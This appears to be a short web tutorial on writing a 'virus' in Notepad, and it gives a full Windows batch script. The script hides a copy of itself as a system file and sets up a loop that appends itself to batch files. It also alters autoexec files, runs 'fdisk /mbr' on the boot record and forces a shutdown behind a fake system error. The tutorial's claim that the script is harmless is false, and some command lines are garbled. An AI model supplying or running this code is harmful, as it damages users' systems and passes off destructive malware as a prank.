How To Create a Virus In Notepad ?

Understand the following: It's just a harmless "virus". It only prints some scary messages and finally shuts down the computer. As you start it again, your computer will work as it did before!
Read the virus: Below you see the Computer-Code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores. The explain you what the above line does.

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT

echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!

echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat

echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c "windows has shut down because the lsass service has incountered a write fault at 0x00000000000000000000000000000000000"